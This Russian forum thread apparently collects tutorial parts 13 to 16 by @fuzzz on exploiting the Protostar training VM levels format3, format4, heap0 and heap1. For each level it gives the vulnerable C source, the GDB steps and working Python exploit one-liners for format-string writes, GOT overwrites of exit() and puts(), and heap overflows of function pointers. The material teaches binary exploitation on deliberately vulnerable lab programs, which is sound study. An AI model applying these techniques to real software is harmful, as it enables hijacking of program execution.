• XSS.stack #1 – первый литературный журнал от юзеров форума

Мануал/Книга Разработка эксплойтов для самых маленьких. Изучаем основы бинарной эксплуатации на ОС Linux (VM Protostar)

Часть 13. Уязвимости форматных строк и перезапись глобальных переменных с контролированием данных для конкретного значения

Продолжаем разбирать уязвимости форматных строк. Итак, в предыдущей статье мы ознакомились с перезаписью глобальных переменных, на этот раз мы будем так же перезаписывать глобальные переменные к конкретному значению. Но при этом более тщательнее контролируя данные которые хотим записать.

Описание ExploitMe
Это более продвинутый уровень переход от формата2, он показывает, как записать в память процесса более 1 или 2 байта памяти. Это также учит вас тщательно контролировать, какие данные записываются в память процесса.

Этот уровень находится в / opt / protostar / bin / format3

format3, VM

Исходный код
C:
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int target;

void printbuffer(char *string)
{
  printf(string);
}

void vuln()
{
  char buffer[512];

  fgets(buffer, sizeof(buffer), stdin);

  printbuffer(buffer);
 
  if(target == 0x01025544) {
      printf("you have modified the target :)\n");
  } else {
      printf("target is %08x :(\n", target);
  }
}

int main(int argc, char **argv)
{
  vuln();
}

Решение

И так посмотрим на исходный код данной нам программы.

Как видно нам это задание похоже на Format2, за исключением того, что код оброс дополнительной функцией, а так же теперь нам надо будет точно контролировать данные которые мы будем записывать, потому, как изменилось условие в конкструкции if, и теперь наша цель состоит в том, чтобы глобальная переменная target стала со значением 0x01025544. И так приступим.

Начнем всё так же с поиска начала входной нашей строки…

Код:
python -c "print 'AAAA' + '%x.'*100" | ./format3

1.png


Отлично мы нашли начало нашей входной строки. Теперь нам нужно узнать адрес нашей глобальной переменной target в памяти. Можно воспользоваться всё так же objdump + утилитой grep, но на этот раз я воспользуюсь отладчиком GDB.

Код:
gdb -q ./format3
print &target
q

2.png


Адрес переменной target мы получили «0x80496f4», теперь попробуем записать что-то в переменную для теста.

И так… В место строчки 'АААА' положим адрес нашей переменной. К тому же наша входная строка лежит 12 по счету.

3.png


Значит будет использовать '%x'*11, а за тем добавим спецификатор формата '%n' для записи.

Код:
python -c "from struct import pack;target=pack('I',0x080496f4);print target + '%x'*11 + '%n'" | ./format3

4.png


Очень хорошо мы добились своего. Мы успешно можешь записывать данные в переменную target.

Взглянем еще раз на условие в задаче

C:
...
if(target == 0x01025544) {
...

Наша переменная должна принять значение «0x01025544», а после теста наша переменная стала равна значению 0x00000041. Мы поменяли первый байт (последний). Следовательно нам нужно поменять второй, третий и четвертый байт. И всё это дело привести к значению «0x01025544».

Чтобы стало ясно, что к чему запустим отладчик GDB и посмотрим теперь уже не адрес в памяти самой переменной target. А посмотрим расположение других байтов в памяти их адреса, относительно адреса target, т.е. адреса следующих ячеек памяти.

Код:
gdb -q ./format3
x/b &target
Enter
Enter
Enter
Enter
q

5.png


Видно и сразу становится ясно, что (последний) первый байт это «0x80496f4», так, как именно этот адрес мы использовали для записи в переменную target это начальный адрес глобальной переменной target, то, есть адрес первой ячейки в памяти, второй байт это адрес «0x80496f5», третий байт это «0x80496f6» и четвертый байт это адрес «0x80496f7».

Получается что если представить память переменной target из четырех ячеек памяти по байту, расположение адресов будет выглядеть следующим образом

Код:
FF|FF|FF|FF -> 0x80496f7|0x80496f6|0x80496f5|0x80496f4

С помощью строк форматирования мы можем использовать разные адреса один за другим в стеке и использовать несколько %n параметров для записи в младший значащий байт каждого адреса в последовательности.

Например, мы можем записать все 4 байта в target.

Адреса у нас есть, поэтому составим эксплойт.

Код:
python -c "from struct import pack;b1=pack('I',0x80496f4);b2=pack('I',0x80496f5);b3=pack('I',0x80496f6);b4=pack('I',0x80496f7); print b1+b2+b3+b4 + '%x'*11 + '%n%n%n%n'" | ./format3

Проверяем

6.png


Как нам видно, мы записали каждую ячейку памяти. То, есть все 4 байта.

А для того, чтобы контролировать значение, которое записывается для каждого отдельного байта, мы используем спецификатор формата %u. То, есть пишем нужное подобранное нами число и ставим этот спецификатор формата перед спецификатором %n.

Выглядит это так %1337u%n

Но прежде, чем мы поместим спецификатор %u перед каждым спецификатором формата %n, нам нужно будет подкорректировать нашу входную строку, так, как каждая комбинация из спецификаторов %n и %u выталкивают стек. И произойдет вот такая вот ситуация.

7.png


Чтобы избавиться от этого и решить данную проблему добавим перед каждым адресом такую последовательность байтов 0x01010101 в нашей входной строке.

И так модифицируем наш код, добавив перед каждым адресом по четыре байта из 0x01, а так же добавим спецификатор формата %u перед каждым спецификатором %n.

Код:
python -c "from struct import pack;b1=pack('I',0x80496f4);b2=pack('I',0x80496f5);b3=pack('I',0x80496f6);b4=pack('I',0x80496f7); b5=pack('I',0x01010101); print b5+b1+b5+b2+b5+b3+b5+b4 + '%x'*11 + '%u%n%u%n%u%n%u%n'" | ./format3

И посмотрим на результат

8.png


Видно, что глобальная переменная target стала со значением 7d756d65 и мы не получили Segmentation fault…

Теперь надо рассчитать значение для каждого спецификатора %u , чтобы последовательно записать четыре байта для глобальной переменной target. Можно сделать это несколькими способами, к примеру можно это все дело подсчитать через отладчик, так же методом подбора, а можно написать функцию, которая будет делать все за нас, изобретать ничего не будем, я нашел этот велосипед — функцию на Python из одного блога которая, нам и позволит рассчитать эти значения.

Python:
def calculate(to_write, written):
    to_write += 0x100
    written %= 0x100
    padding = (to_write - written) % 0x100
    if padding < 10:
        padding += 0x100
    return padding

Код достаточно понятный. Поэтому его можно переписать на любом другом языке…

Собственно функция работает так, в первый аргумент функции to_write записывается, то значение, которое мы хотим записать. Наша цель это значение 0x01025544, соответственно с начало будет 0x44, 0x55, 0x02, 0x01.

Во второй аргумент функции передаем кол-во байтов. Сейчас поясню, что это за байты.

Помните, когда мы впервые попробовали запись во все 4 байта в глобальную переменную targetи у нас вышло, что переменная приняла значение 0x4d4d4d4d. Так вот мы записали в каждую ячейку память 0x4d. Так же тут стоит вспомнить, что мы увеличили нашу входную строку добавив последовательность байтов из 0x01.

Четыре байта 0x01 для каждого адреса. И всего их 16. Поэтому во второй аргумент функции нам нужно передать сумму этих байтов. То, есть. 0x4d + 16.

Код:
calculate(0x44, 0x4d + 16)

А затем подставить во второй аргумент, предыдущий из первого. И таким образом мы найдем нужные нам значения.

9.png


Вычислили значения 231,17,173,255

Код:
python -c "from struct import pack;b1=pack('I',0x80496f4);b2=pack('I',0x80496f5);b3=pack('I',0x80496f6);b4=pack('I',0x80496f7); b5=pack('I',0x01010101); print b5+b1+b5+b2+b5+b3+b5+b4 + '%x'*11 + '%231u%n%17u%n%173u%n%255u%n'" | ./format3

Проверим

10.png


Отлично мы успешно справились с задание, теперь можно переходить на следующий уровень!

автор (с) @fuzzz
 
Часть 14. Уязвимости форматных строк и метод перенаправления выполнения в процессе.

В предыдущей части мы имели дело с глобальной переменной и контролируя данные приводили ее к конкретному значению. В этой статье мы познакомимся с одним методом перенаправления выполнения в процессе, который похож на метод перезаписи адреса возврата. Поехали…

Описание ExploitMe
format4 рассматривает один метод перенаправления выполнения в процессе.

подсказки:
  • objdump -TR твой друг
Этот уровень находится в / opt / protostar / bin / format4

format4, VM

Исходный код
C:
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int target;

void hello()
{
  printf("code execution redirected! you win\n");
  _exit(1);
}

void vuln()
{
  char buffer[512];

  fgets(buffer, sizeof(buffer), stdin);

  printf(buffer);

  exit(1);
}

int main(int argc, char **argv)
{
  vuln();
}
Решение

Посмотри на исходный код данной нам программы. И так у нас есть главная функция main(), которая в свою очередь вызывает уязвимую функцию vuln(), так же у нас есть всё та же глобальная переменная target и мертвая функция, которая никогда не вызывается. Собственно задача состоит в том, чтобы вызвать эту самую мертвую функцию обозначенную как hello(). Приступим к решению.

Начнем всё так же с поиска нашей входной строки. А именно с определения местоположения входной строки в стеке.

Код:
python -c "print 'AAAA' + '%x.'*100 + '%x'" | ./format4

1.png


Наша строка лежит четвертая по счету.

Код:
python -c "print 'AAAA' + '%x.'*3 + '%x'" | ./format4

2.png


Теперь когда мы нашли нашу входную строку надо определится, что делать дальше. А дальше мы вернемся к исходному тексту данной программы и посмотрим еще раз на код.

В коде вроде как ничего нет, но бросается в глаза функция exit() которая определена в двух разных местах. В функции vuln() и в функции hello() она определена с нижним подчеркиванием.

И так в первую очередь нас интересует функция exit() которая вызывается в функции vuln().

Посмотрим на описание этой функции.

Функция exit() вызывает немедленное нормальное завершение программы. Значение параметра status задается вызывающим процессом. По соглашению, если значением параметра status является 0, то предполагается нормальное завершение программы. Ненулевое значение используется для указания ошибки, зависящей от реализации

Так же тут следует сказать, что функция exit() расположена сразу после функции printf(). И она вызывается сразу. Ситуация такая, если мы перезаписываем адрес возврата для функции vuln(), то функция exit() становится бесполезной. Следовательно нам надо перезаписать её. Перезаписывать будем адрес exit() в глобальной таблице смещений (GOT), чтобы в дальнейшем нам не нужно было угадывать правильное расположение адреса возврата в стеке из-за смещения.

Всё что надо знать, что GOT — это просто таблица адресов, находящихся в разделе данных. С помощью GOT, функции разделяемой библиотеки загружаются в динамически связанный двоичный файл ELF.

Теперь когда ситуация прояснилась найдем адрес функции exit() в глобальной таблице смещения (GOT).

Сделать это можно разными способами.
1 способ

Код:
gdb -q ./format4
disas vuln
x/i 0x80483ec

3.png


2 способ, это то, что нам дали в подсказке
Код:
objdump -TR ./format4

4.png


Таким образом мы можем получить адрес.

Дальше нам нужно записать все 4 байта функции exit() в записи GOT. Поэтому узнаем адрес для каждого байта.

Код:
gdb -q ./format4
x/b 0x08049724
Enter
Enter
Enter
Enter

5.png


Адреса получены

0x8049724
0x8049725
0x8049726
0x8049727

FF|FF|FF|FF -> 0x8049727|0x8049726|0x8049725|0x8049724

Используя эти адреса и символ форматирования %n попробуем записать байты в запись GOT.

Код:
python -c "from struct import pack; b1=pack('I',0x8049724);b2=pack('I',0x8049725);b3=pack('I',0x8049726);b4=pack('I',0x8049727); print b1+b2+b3+b4 + '%x.'*3 + '%n%n%n%n'" > /tmp/exploit

Код:
gdb -q ./format4
run < /tmp/exploit

6.png


Что нам и удалось. Теперь нам нужно узнать адрес функции hello(), так как именно этот адрес мы будем использовать при перезаписи функции exit() в GOT.

Код:
disas hello

7.png


Адрес функции hello() получен — 0x080484b4. Теперь, как и в прошлый раз мы будем комбинировать спецификаторы формата %u и %n. Для того, чтобы записать конкретное значение. А именно нам надо записать адрес функции hello() в запись GOT функции exit(). А так же перед каждым адресом ячейки памяти добавим по четыре байта из 0x01. Чтобы обнулить перед записью, каждый байт в ячейке.

Нам остается лишь только вычислить значения, которые мы будем писать совместно со спецификатором %u.

Код эксплойта будет выглядить так.

Код:
python -c "from struct import pack;b1=pack('I',0x8049724);b2=pack('I',0x8049725);b3=pack('I',0x8049726);b4=pack('I',0x8049727); b5=pack('I',0x01010101); print b5+b1+b5+b2+b5+b3+b5+b4 + '%x.'*3 + '%u%n%u%n%u%n%u%n'"

Остается лишь только вычислить значения для адреса 0x080484b4 функции hello(). Делать это будем так же, как и в прошлый раз. Воспользуемся функцией для подсчета.

Python:
def calculate(to_write, written):
    to_write += 0x100
    written %= 0x100
    padding = (to_write - written) % 0x100
    if padding < 10:
        padding += 0x100
    return padding

В аргумент to_write передаем значение которое хотим записать.

А мы хотим этот адрес 0x080484b4 , следовательно будут байты: 0xb4,0x84,0x04,0x08. А во второй аргумент изначальное значение которое мы записали. А записали мы значение 0x26262626. Поэтому передаем сюда значение 0x26 + 16. Шестнадцать это значение 0x01010101 по 4 байта для каждого адреса. Таким образом мы обнуляем, перед тем как записать. Дальше при подстановки значений в аргументы функции делаем так. Подставляем во второй аргумент, предыдущий из первого. И таким образом мы найдем нужные нам значения.

8.png


Вычислили значения 126, 208, 128, 260.

Совмещаем их со спецификатором %u. И тестируем наш эксплойт.

Код:
python -c "from struct import pack;b1=pack('I',0x8049724);b2=pack('I',0x8049725);b3=pack('I',0x8049726);b4=pack('I',0x8049727); b5=pack('I',0x01010101); print b5+b1+b5+b2+b5+b3+b5+b4 + '%x.'*3 + '%126u%n%208u%n%128u%n%260u%n'" | ./format4

9.png


Отлично. Мы решили это задание можно переходить на следующий уровень. В следующей статье мы познакомимся с новой уязвимостью — Heap Overflow.


автор (с) @fuzzz
 
Часть 15. Переполнение Кучи и перезапись структурного указателя на функцию

Доброго времени суток codeby. В предыдущих статьях мы работали с уязвимостями форматных строк, а в этой статье мы познакомимся с переполнением буфера в кучи и посмотрим на процесс эксплуатации как это работает.

Описание ExploitMe
Этот уровень знакомит с переполнением кучи и то, как это может повлиять на поток выполнения кода.

Этот уровень находится в / opt / protostar / bin / heap0

heap0, VM

Исходный код

C:
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <stdio.h>
#include <sys/types.h>

struct data {
  char name[64];
};

struct fp {
  int (*fp)();
};

void winner()
{
  printf("level passed\n");
}

void nowinner()
{
  printf("level has not been passed\n");
}

int main(int argc, char **argv)
{
  struct data *d;
  struct fp *f;

  d = malloc(sizeof(struct data));
  f = malloc(sizeof(struct fp));
  f->fp = nowinner;

  printf("data is at %p, fp is at %p\n", d, f);

  strcpy(d->name, argv[1]);

  f->fp();

}

Решение

И так рассмотрим исходный код данной программы и определимся с тем, что нам нужно сделать. Собственно суть задачи у нас сегодня такая, нам нужно вызвать мертвую функцию которая никогда не вызывается, функцию winner(). В случае неудачи будет вызываться функция nowinner(). Так же у нас определены две структуры данных в глобальной области памяти. Структура data и fp. В свою очередь они имеют по одному элементу.

Структура data имеет элемент name объявленный как массив. А структура fp имеет элемент fp, т.е. с таким же названием, и объявлен этот элемент, как целочисленный указатель на несуществующую функцию. Проще говоря это указатель ну функцию. Мы уже встречались с таким указателем. При вызове fp, указатель будет вызывать любой адрес памяти.

С этими структурами мы и будем работать. Так же нужно сказать, что при описание какой-либо структуры, происходит объявление нового типа в языке. Теперь предлагаю посмотреть на код, который расположен в главной функции т.е. в main().

Дальше у нас идет объявление переменных для структур data и fp, а точней говоря объявление указателей структурного типа, для структур data и fp. После чего происходит присвоение адресов памяти этим указателям. На начальные адреса, поскольку heap — это область динамической памяти, выделяемая на стадии исполнения программы.

Поговорим об этом подробнее…

Функция malloc() — это стандартная библиотечная функция в языке Cи, которая выделяет память из участка оперативной памяти, размером равным размеру структуры data или fp в области кучи во время выполнения, и возвращает пустой указатель (void *ptr) на это местоположение т.е. указатель на выделенный блок в памяти.

Но прежде, чем это произойдет, сначала происходит вычисление с помощью оператора sizeof, который подсчитает нужное количество байтов для выделения — функции malloc(). Соответственно выделится блок на 64 байта для структуры data и блок в памяти на 4 байта для структуры fp.

Указатель на структуру f ссылается на элемент в структуре fp, которому присваивается адрес функции nowinner

Код:
f->fp = nowinner;

Затем происходит печать адресов

Код:
printf(«data is at %p, fp is at %p\n», d, f);

Далее происходит копирование строки, полученную через аргумент. Копирование происходит в кучу.

Код:
strcpy(d->name, argv[1]);

После чего происходит вызов функции nowinner.

Код:
f->fp();

Теперь когда картина нам ясна приступим к эксплуатации.

Первым делом откроем программу под отладчиком и дизассемблируем функцию main() после чего поставим точку останова на адрес возврата из функции. Чтобы программа при выполнении не завершилась.

Код:
gdb -q ./heap0
disas main

1.png


Код:
break *0x08048500

Теперь запустим программу под отладчиком и скормим ей строку из символов «А».

Код:
run AAAA

2.png


Так как мы поставили точку останова на адрес возврата (RET) из функции main() и скормили программе символы «AAAA», теперь мы поможем посмотреть карту памяти процесса и найти кучу.

Код:
info proc map

3.png


Начальный адрес кучи найден — 0x804a000. Теперь посмотрим в памяти на нашу кучу. Выведем 50 ячеек памяти в шестнадцатеричном формате от начального адреса кучи. Но правильнее будет говорить не 50 ячеек, хотя это тоже правильно, а называть их чанками, поскольку куча состоит из чанков.

Код:
x/50x 0x804a000

4.png


И мы видим нашу введенную строчку из символов «А», так же можем подсчитать сколько байтов нужно до следующей кучи. Если посмотреть, что расположено по адресу 0x08048478 мы увидим, что там адрес функции nowinner().

Код:
x/x 0x08048478

5.png


Код:
print &nowinner

6.png


Видим, что адреса полностью идентичны. Теперь запустим программу под отладчиком и передадим ей 72 байта чтобы заполнить первую кучу и еще 4 байта, чтобы залезть на вторую кучу. Как и в стеке, память кучи аллоцируется ( распределяется ) непрерывно. Это означает, что если мы будем писать за пределами буфера, мы будем перезаписывать другую структуру данных Использовать будем python.

Код:
run `python -c «print ‘A»*72 + ‘B’*4″`

7.png


EIP перезаписан. Посмотрим теперь как это все выглядит в памяти.

Код:
x/50x 0x804a000

8.png


Видно, что мы перезаписали указатель на функцию, мы положили туда 4 байта из символов «B». Теперь посмотрим адрес функции winner(). После чего можно будет подставить этот адрес в место 4 байт из последовательности символов «B».

Код:
print &winner

9.png


Выходим из GDB — quit.

Составляем наш эксплойт и выполняем его.

Код:
./heap0 $(python -c "from struct import pack; winner=pack('I',0x8048464); print 'A'*72 + winner")

10.png


Вот таким не хитрым способом можно влиять на поток выполнения кода в программе используя переполнения буфера в куче. Многие наверно заметили, что подход тот же, что и при переполнение буфера в стеке. Да, это действительно так, поменялась лишь область памяти с которой мы работаем. Так же тут стоит сказать, что мы только-только начинаем знакомиться с уязвимостями в такой области памяти как куча (Heap). Впереди нас ждут такие уязвимости как "Write-what-where", "Use-After-Free", "Double Free". Ну и самое главное уровень пройден теперь можно переходить на следующий уровень.


автор (с) @fuzzz
 
Часть 16. Условие Write-what-where и перехват потока управления кодом

В предыдущей части мы работали над переполнением буфера в кучи и перезаписывали структурный указатель на функцию. В статье мы так же будем работать над переполнением кучи и познакомимся с произвольной перезаписью памяти — условием Write-What-Where, посмотрим, что это такое и с чем его едят. И так поехали…

Описание ExploitMe
Этот уровень учитывает перехват потока выполнения кода в случаях перезаписи данных.

Этот уровень находится в / opt / protostar / bin / heap1

heap1, VM

Исходный код
C:
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <stdio.h>
#include <sys/types.h>

struct internet {
  int priority;
  char *name;
};

void winner()
{
  printf("and we have a winner @ %d\n", time(NULL));
}

int main(int argc, char **argv)
{
  struct internet *i1, *i2, *i3;

  i1 = malloc(sizeof(struct internet));
  i1->priority = 1;
  i1->name = malloc(8);

  i2 = malloc(sizeof(struct internet));
  i2->priority = 2;
  i2->name = malloc(8);

  strcpy(i1->name, argv[1]);
  strcpy(i2->name, argv[2]);

  printf("and that's a wrap folks!\n");
}

Решение

Эта задача является отличным введением в класс уязвимостей Write-What-Where (запись-что-где), в которой описывается возможность произвольной записи.

Уязвимость — произвольной перезаписи памяти, или уязвимость известная, как уязвимость «запись-что-где» (Write-What-Where) — это любое условие, при котором злоумышленник может записать произвольное значение в произвольное место, часто в результате переполнения буфера. Это может быть использовано для перезаписи указателя функции, который позднее разыменовывается, заменяя его адресом памяти, к которому злоумышленник имеет законный доступ, куда он поместил вредоносный код, что приводит к выполнению произвольного кода.

В этой задаче в качестве «выполнения произвольного кода» у нас выступает мертвая функция winner(). Поэтому суть сегодняшней задачи вызвать функцию winner(). Но прежде, чем мы до нее доберемся рассмотрим исходный код данной нам программы.

И так…

В глобальной области памяти определена структура данных с именем internet. В ней определены два элемента. Элемент priority обозначенный как целочисленная переменная и элемент name обозначенный как указатель на строку. Тут же можно добавить, что в языке Си конструкция char *ptr эквивалента конструкции char ptr[].

В главной функции main() под структуру internet созданы три переменных i1,i2,i3. Эти переменные являются указателями структурного типа для структуры internet.

Две их них используются i1 и i2. Третья переменная i3 нет.

Дальше происходит присвоение адресов памяти этим указателям на начальные адреса выделенной памяти.

C:
i1 = malloc(sizeof(struct internet));
i2 = malloc(sizeof(struct internet));

Напомню, что heap — это область динамической памяти, выделяемая на стадии исполнения программы. Выделяется 8 байт из подсчета оператора sizeof.

Затем структурный указатель i1 и i2 ссылается на элемент priority в структуре internet которому присваивается соответственно целочисленное значение 1 и 2.

C:
i1->priority = 1;
i2->priority = 2;

Далее структурные указатели ссылаются на элемент name в структуре internet которому присваиваться адрес на выделенный блок в памяти из 8 байт.

C:
i1->name = malloc(8);
i2->name = malloc(8);

А теперь самое главное. Указатели структурного типа ссылаются на элемент name в структуре internet. Используется функция strcpy(), которая принимает входные данные через аргумент и пишет их в name.

C:
strcpy(i1->name, argv[1]);
strcpy(i2->name, argv[2]);

И получается у нас следующие… Было выделены две структуры internet. Каждая структура содержит указатель name который выделяется отдельно. Это означает, что структура internet, размещенная в куче, будет содержать указатель на другую часть памяти в куче.

И так откроем программу под отладчиком GDB и дизассемблируем главную функцию main().

Код:
gdb -q ./heap1
disas main

1.png


Затем поставим точку останова на RET адрес, чтобы программа не завершилась при выполнении и запустим программу под отладчиком передав ей две строки, по скольку наша программа принимает два аргумента.

Код:
break *0x08048567
run AAAA BBBB

2.png


Теперь посмотрим карту процесса нашей программы, чтобы найти начальный адрес расположения кучи.

Код:
info proc map

3.png



И выведем 50 адресов относительно начального адреса памяти кучи, чтобы посмотреть где и как лежат наши введенные строки в памяти.

Код:
x/50x 0x804a000

4.png


Посмотрим, что находится по адресу — 0x0804a038.

Код:
x/x 0x0804a038
x/s 0x0804a038

5.png


По адресу 0x0804a038 находится куча №2. Следовательно у нас получается такая картина. Смещение до адреса кучи №2 составляет 20 байт. Проверим так ли это…

6.png


Запустим программу под отладчиком и передадим ей в первый аргумент 20 байт из букв «А» и 4 байта из букв «В». А во второй аргумент передадим 4 байта из букв «С». И посмотрим на кучу относительно начального адреса кучи.

Код:
run `python -c 'print "A"*20 + "B"*4'` CCCC

Смотрим

Код:
x/50x 0x804a000

7.png


Как мы видим мы перезаписали начальный адрес кучи №2. Мы можем писать по произвольному адресу. Это и есть условие Write-What-Where. Осталось лишь подобрать нужный нам адрес для перезаписи и выполнить произвольный код)).

Воспользуемся уже знакомым нам методом. Перезаписью GOT. Если мы посмотрим на дизассемблированный листинг программы функции main(), то увидим, что сразу после второй уязвимой функцию strcpy(), идет вызов функции puts(), включая вызов адреса в PLT. Затем он переходит на адрес сохраненный в GOT. Этим мы и воспользуемся.

Код:
disas main

8.png


Код:
x/x 0x80483cc
x/i 0x80483cc
disas 0x80483cc

9.png


Или же через objdump

Код:
objdump -TR ./heap1

10.png


Если уж говорить простым языком процедура PLT, является неким «гаджетом» для прыжка, на другие функции, которые находятся в нашей программе.

Теперь узнаем адрес функции winner().

Код:
print &winner

11.png


Адрес функции winner получен — 0x8048494.

Теперь составим наш эксплойт, использовать будем все так же Python, а структура payload’а будет выглядеть следующим образом.

Код:
struct_offset + exec_redir_addr + winner_addr
"A"*20     +      0x8049774     +   0x8048494

Ну и по скольку у нас специфическая уязвимая программа, которая принимает два аргумента, наш сплойт тоже будет специфическим. Он будет разделен на две части.

Код:
struct_offest + exec_redir_addr | winner_addr
arg1                            | arg2

Цель первого аргумента состоит в том, чтобы переполнить буфер кучи i1-> name в структуре i2 и перезаписать адрес i2-> name адресом адреса puts_GOT. Цель второго аргумента — просто указать адрес, на который будет перенаправлено выполнение кода.

Запускаем сплойт

Код:
./heap1 `python -c 'from struct import pack; exec_redir_addr=pack("I",0x8049774); struct_offset= "A"*20; print struct_offset + exec_redir_addr'` `python -c 'from struct import pack; winner_addr=pack("I",0x8048494); print winner_addr'`

12.png


Отлично мы перехватили поток выполнения кода и выполнили функцию winner(). Теперь можно переходить на следующий уровень.


автор (с) @fuzzz
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх